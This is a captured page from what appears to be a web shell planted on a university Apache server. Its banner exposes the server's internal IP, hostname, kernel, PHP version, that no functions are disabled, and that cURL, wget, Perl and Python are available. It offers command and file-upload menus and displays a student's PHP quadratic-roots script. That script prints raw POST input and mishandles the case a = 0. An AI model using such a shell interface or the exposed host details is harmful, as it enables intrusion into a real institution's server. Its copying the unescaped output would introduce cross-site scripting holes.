Server IP : 172.16.15.8 / Your IP : 18.224.63.123 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zvhope/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<center> <font color=green> <H2> Roots </H2> <HR> </font> <font color=black> <?php $a = $_POST['aVar']; $b = $_POST['bVar']; $c = $_POST['cVar']; $des = pow($b,2) - 4 * $a * $c; //debugging print "a= $a, b= $b, c= $c.<p>"; if($a==0) { print "NO REAL ROOTS"; } elseif($des >=0) { $x1 = (-$b + pow($des, 0.5))/(2 * $a); $x2 = (-$b - pow($des, 0.5))/(2 * $a); $x1 = number_format($x1,1); $x2 = number_format($x2,1); print "Roots: $x1, $x2"; } else { print "NO REAL ROOTS."; } ?> </font> </center>